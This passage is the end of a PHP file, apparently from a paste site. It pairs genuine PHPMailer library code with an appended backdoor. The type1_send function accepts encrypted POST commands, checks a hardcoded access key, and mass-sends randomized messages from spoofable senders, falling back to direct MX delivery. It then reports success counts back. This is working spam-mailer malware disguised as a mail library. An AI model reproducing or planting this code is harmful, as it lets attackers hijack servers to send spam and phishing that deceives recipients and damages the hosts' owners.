  2558.     public static function _mime_types($ext = '')
  2559.     {
  2560.         $mimes = array(
  2561.             'gif' => 'image/gif',
  2562.             'jpeg' => 'image/jpeg',
  2563.             'jpe' => 'image/jpeg',
  2564.             'jpg' => 'image/jpeg',
  2565.             'png' => 'image/png',
  2566.             'tiff' => 'image/tiff',
  2567.             'tif' => 'image/tiff',
  2568.         );
  2569.         return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)] : 'application/octet-stream');
  2570.     }
  2571.  
  2572.     public static function filenameToType($filename)
  2573.     {
  2574. // In case the path is a URL, strip any query string before getting extension
  2575.         $qpos = strpos($filename, '?');
  2576.         if (false !== $qpos) {
  2577.             $filename = substr($filename, 0, $qpos);
  2578.         }
  2579.         $pathinfo = self::mb_pathinfo($filename);
  2580.         return self::_mime_types($pathinfo['extension']);
  2581.     }
  2582.  
  2583.     public static function mb_pathinfo($path, $options = null)
  2584.     {
  2585.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  2586.         $pathinfo = array();
  2587.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  2588.             if (array_key_exists(1, $pathinfo)) {
  2589.                 $ret['dirname'] = $pathinfo[1];
  2590.             }
  2591.             if (array_key_exists(2, $pathinfo)) {
  2592.                 $ret['basename'] = $pathinfo[2];
  2593.             }
  2594.             if (array_key_exists(5, $pathinfo)) {
  2595.                 $ret['extension'] = $pathinfo[5];
  2596.             }
  2597.             if (array_key_exists(3, $pathinfo)) {
  2598.                 $ret['filename'] = $pathinfo[3];
  2599.             }
  2600.         }
  2601.         switch ($options) {
  2602.             case PATHINFO_DIRNAME:
  2603.             case 'dirname':
  2604.                 return $ret['dirname'];
  2605.             case PATHINFO_BASENAME:
  2606.             case 'basename':
  2607.                 return $ret['basename'];
  2608.             case PATHINFO_EXTENSION:
  2609.             case 'extension':
  2610.                 return $ret['extension'];
  2611.             case PATHINFO_FILENAME:
  2612.             case 'filename':
  2613.                 return $ret['filename'];
  2614.             default:
  2615.                 return $ret;
  2616.         }
  2617.     }
  2618.  
  2619.     public function set($name, $value = '')
  2620.     {
  2621.         try {
  2622.             if (isset($this->$name)) {
  2623.                 $this->$name = $value;
  2624.             } else {
  2625.                 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  2626.             }
  2627.         } catch (Exception $exc) {
  2628.             $this->setError($exc->getMessage());
  2629.             if ($exc->getCode() == self::STOP_CRITICAL) {
  2630.                 return false;
  2631.             }
  2632.         }
  2633.         return true;
  2634.     }
  2635.  
  2636.     public function secureHeader($str)
  2637.     {
  2638.         return trim(str_replace(array("\r", "\n"), '', $str));
  2639.     }
  2640.  
  2641.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  2642.     {
  2643.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2644.     }
  2645.  
  2646.     public function sign($cert_filename, $key_filename, $key_pass)
  2647.     {
  2648.         $this->sign_cert_file = $cert_filename;
  2649.         $this->sign_key_file = $key_filename;
  2650.         $this->sign_key_pass = $key_pass;
  2651.     }
  2652.  
  2653.     public function DKIM_QP($txt)
  2654.     {
  2655.         $line = '';
  2656.         for ($i = 0; $i < strlen($txt); $i++) {
  2657.             $ord = ord($txt[$i]);
  2658.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  2659.                 $line .= $txt[$i];
  2660.             } else {
  2661.                 $line .= '=' . sprintf('%02X', $ord);
  2662.             }
  2663.         }
  2664.         return $line;
  2665.     }
  2666.  
  2667.     public function DKIM_Sign($signHeader)
  2668.     {
  2669.         if (!defined('PKCS7_TEXT')) {
  2670.             if ($this->exceptions) {
  2671.                 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  2672.             }
  2673.             return '';
  2674.         }
  2675.         $privKeyStr = file_get_contents($this->DKIM_private);
  2676.         if ($this->DKIM_passphrase != '') {
  2677.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2678.         } else {
  2679.             $privKey = $privKeyStr;
  2680.         }
  2681.         if (openssl_sign($signHeader, $signature, $privKey)) {
  2682.             return base64_encode($signature);
  2683.         }
  2684.         return '';
  2685.     }
  2686.  
  2687.     public function DKIM_HeaderC($signHeader)
  2688.     {
  2689.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  2690.         $lines = explode("\r\n", $signHeader);
  2691.         foreach ($lines as $key => $line) {
  2692.             list($heading, $value) = explode(':', $line, 2);
  2693.             $heading = strtolower($heading);
  2694.             $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  2695.             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  2696.         }
  2697.         $signHeader = implode("\r\n", $lines);
  2698.         return $signHeader;
  2699.     }
  2700.  
  2701.     public function DKIM_BodyC($body)
  2702.     {
  2703.         if ($body == '') {
  2704.             return "\r\n";
  2705.         }
  2706. // stabilize line endings
  2707.         $body = str_replace("\r\n", "\n", $body);
  2708.         $body = str_replace("\n", "\r\n", $body);
  2709. // END stabilize line endings
  2710.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2711.             $body = substr($body, 0, strlen($body) - 2);
  2712.         }
  2713.         return $body;
  2714.     }
  2715.  
  2716.     public function DKIM_Add($headers_line, $subject, $body)
  2717.     {
  2718.         $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  2719.         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  2720.         $DKIMquery = 'dns/txt'; // Query method
  2721.         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  2722.         $subject_header = "Subject: $subject";
  2723.         $headers = explode($this->LE, $headers_line);
  2724.         $from_header = '';
  2725.         $to_header = '';
  2726.         $current = '';
  2727.         foreach ($headers as $header) {
  2728.             if (strpos($header, 'From:') === 0) {
  2729.                 $from_header = $header;
  2730.                 $current = 'from_header';
  2731.             } elseif (strpos($header, 'To:') === 0) {
  2732.                 $to_header = $header;
  2733.                 $current = 'to_header';
  2734.             } else {
  2735.                 if ($current && strpos($header, ' =?') === 0) {
  2736.                     $current .= $header;
  2737.                 } else {
  2738.                     $current = '';
  2739.                 }
  2740.             }
  2741.         }
  2742.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2743.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2744.         $subject = str_replace(
  2745.             '|',
  2746.             '=7C',
  2747.             $this->DKIM_QP($subject_header)
  2748.         ); // Copied header fields (dkim-quoted-printable)
  2749.         $body = $this->DKIM_BodyC($body);
  2750.         $DKIMlen = strlen($body); // Length of body
  2751.         $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  2752.         $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  2753.         $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  2754.             $DKIMsignatureType . '; q=' .
  2755.             $DKIMquery . '; l=' .
  2756.             $DKIMlen . '; s=' .
  2757.             $this->DKIM_selector .
  2758.             ";\r\n" .
  2759.             "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  2760.             "\th=From:To:Subject;\r\n" .
  2761.             "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  2762.             "\tz=$from\r\n" .
  2763.             "\t|$to\r\n" .
  2764.             "\t|$subject;\r\n" .
  2765.             "\tbh=" . $DKIMb64 . ";\r\n" .
  2766.             "\tb=";
  2767.         $toSign = $this->DKIM_HeaderC(
  2768.             $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  2769.         );
  2770.         $signed = $this->DKIM_Sign($toSign);
  2771.         return $dkimhdrs . $signed . "\r\n";
  2772.     }
  2773.  
  2774.     public function getToAddresses()
  2775.     {
  2776.         return $this->to;
  2777.     }
  2778.  
  2779.     public function getCcAddresses()
  2780.     {
  2781.         return $this->cc;
  2782.     }
  2783.  
  2784.     public function getBccAddresses()
  2785.     {
  2786.         return $this->bcc;
  2787.     }
  2788.  
  2789.     public function getReplyToAddresses()
  2790.     {
  2791.         return $this->ReplyTo;
  2792.     }
  2793.  
  2794.     public function getAllRecipientAddresses()
  2795.     {
  2796.         return $this->all_recipients;
  2797.     }
  2798.  
  2799.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  2800.     {
  2801.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  2802.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  2803.             call_user_func_array($this->action_function, $params);
  2804.         }
  2805.     }
  2806. }
  2807.  
  2808. class phpmailerException extends Exception
  2809. {
  2810.     public function errorMessage()
  2811.     {
  2812.         $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  2813.         return $errorMsg;
  2814.     }
  2815. }
  2816.  
  2817. /////////////////////////////////////////////////////////////////
  2818. function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type)
  2819. {
  2820.     $mail = new PHPMailer();
  2821.     $mail->isMail();
  2822.     $mail->CharSet = 'utf-8';
  2823.     $mail->SetFrom($from_email, $from_name);
  2824.     $mail->AddAddress($to);
  2825.     $mail->Subject = $subject;
  2826.  
  2827.     if ($type == "1") {
  2828.         $mail->MsgHTML($body);
  2829.     } elseif ($type == "2") {
  2830.         $mail->isHTML(false);
  2831.         $mail->Body = $body;
  2832.     }
  2833.  
  2834.     if (isset($_FILES)) {
  2835.         foreach ($_FILES as $key => $file) {
  2836.             $mail->addAttachment($file['tmp_name'], $file['name']);
  2837.         }
  2838.     }
  2839.  
  2840.     if (!$mail->send()) {
  2841.         $to_domain = explode("@", $to);
  2842.         $to_domain = $to_domain[1];
  2843.         $mail->IsSMTP();
  2844.         $mail->Host = mx_lookup($to_domain);
  2845.         $mail->Port = 25;
  2846.         $mail->SMTPAuth = false;
  2847.         if (!$mail->send()) {
  2848.             return Array(0, $mail->ErrorInfo);
  2849.         } else {
  2850.             return Array(2, 0);
  2851.         }
  2852.     } else {
  2853.         return Array(1, 0);
  2854.     }
  2855. }
  2856.  
  2857. function mx_lookup($hostname)
  2858. {
  2859.     @getmxrr($hostname, $mxhosts, $precedence);
  2860.     if (count($mxhosts) === 0) return '127.0.0.1';
  2861.     $position = array_keys($precedence, min($precedence));
  2862.     return $mxhosts[$position[0]];
  2863. }
  2864.  
  2865. function myhex2bin($str)
  2866. {
  2867.     $sbin = "";
  2868.     $len = strlen($str);
  2869.     for ($i = 0; $i < $len; $i += 2) {
  2870.         $sbin .= pack("H*", substr($str, $i, 2));
  2871.     }
  2872.     return $sbin;
  2873. }
  2874.  
  2875. function b64d($input)
  2876. {
  2877.     $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  2878.     $chr1 = $chr2 = $chr3 = "";
  2879.     $enc1 = $enc2 = $enc3 = $enc4 = "";
  2880.     $i = 0;
  2881.     $output = "";
  2882.  
  2883.     $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
  2884.     do {
  2885.         $enc1 = strpos($keyStr, substr($input, $i++, 1));
  2886.         $enc2 = strpos($keyStr, substr($input, $i++, 1));
  2887.         $enc3 = strpos($keyStr, substr($input, $i++, 1));
  2888.         $enc4 = strpos($keyStr, substr($input, $i++, 1));
  2889.         $chr1 = ($enc1 << 2) | ($enc2 >> 4);
  2890.         $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
  2891.         $chr3 = (($enc3 & 3) << 6) | $enc4;
  2892.         $output = $output . chr((int)$chr1);
  2893.         if ($enc3 != 64) {
  2894.             $output = $output . chr((int)$chr2);
  2895.         }
  2896.         if ($enc4 != 64) {
  2897.             $output = $output . chr((int)$chr3);
  2898.         }
  2899.         $chr1 = $chr2 = $chr3 = "";
  2900.         $enc1 = $enc2 = $enc3 = $enc4 = "";
  2901.     } while ($i < strlen($input));
  2902.     return $output;
  2903. }
  2904.  
  2905. function decode($data, $key)
  2906. {
  2907.     $out_data = "";
  2908.     for ($i = 0; $i < strlen($data);) {
  2909.         for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
  2910.             $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  2911.         }
  2912.     }
  2913.     return $out_data;
  2914. }
  2915.  
  2916. function type1_send($config)
  2917. {
  2918.     $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  2919.  
  2920.     $data = b64d($config);
  2921.     $data = decode($data, $key);
  2922.     $data = @unserialize($data);
  2923.     if (!$data || !isset($data['ak'])) {
  2924.         return FALSE;
  2925.     }
  2926.     if ($data['ak'] != "1b1ba00f-8fa2-4987-b899-fdde263073d3") {
  2927.         exit();
  2928.     }
  2929.     if (isset($data['c'])) {
  2930.         $res["r"]["c"] = $data['c'];
  2931.         return serialize($res);
  2932.     }
  2933.     $good = 0;
  2934.     $bad = 0;
  2935.     $last_error = Array(0, 0);
  2936.     foreach ($data['e'] as $uid => $email) {
  2937.         $theme = $data['s'][array_rand($data['s'])];
  2938.         $theme = alter_macros($theme);
  2939.         $theme = num_macros($theme);
  2940.         $theme = xnum_macros($theme);
  2941.         $message = $data['l'];
  2942.         $message = alter_macros($message);
  2943.         $message = num_macros($message);
  2944.         $message = xnum_macros($message);
  2945.         $message = fteil_macros($message, $uid);
  2946.         $from = $data['f'][array_rand($data['f'])];
  2947.         $from = alter_macros($from);
  2948.         $from = num_macros($from);
  2949.         $from = xnum_macros($from);
  2950.  
  2951.         if (strstr($from, "[CUSTOM]") == FALSE) {
  2952.             $from = from_host($from);
  2953.         } else {
  2954.             $from = str_replace("[CUSTOM]", "", $from);
  2955.         }
  2956.  
  2957.         $from_email = explode("<", $from);
  2958.         $from_email = explode(">", $from_email[1]);
  2959.         $from_name = explode("\"", $from);
  2960.         $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt']);
  2961.  
  2962.         if ($last_error[1] === 0) {
  2963.             $good++;
  2964.         } else {
  2965.             $bad++;
  2966.             $good = count($data['e']) - $bad;
  2967.         }
  2968.     }
  2969.  
  2970.     $res["r"]["t"] = $last_error[0];
  2971.     $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
  2972.     $res["r"]["g"] = $good;
  2973.     $res["r"]["b"] = $bad;
  2974.  
  2975.     return serialize($res);
  2976. }
  2977.  
  2978. $config = array_values($_POST);
  2979. $res = type1_send($config[0]);
  2980. if ($res) {
  2981.     echo $res;
  2982. }
  2983.  
  2984. exit();
Add Comment
Please, Sign In to add comment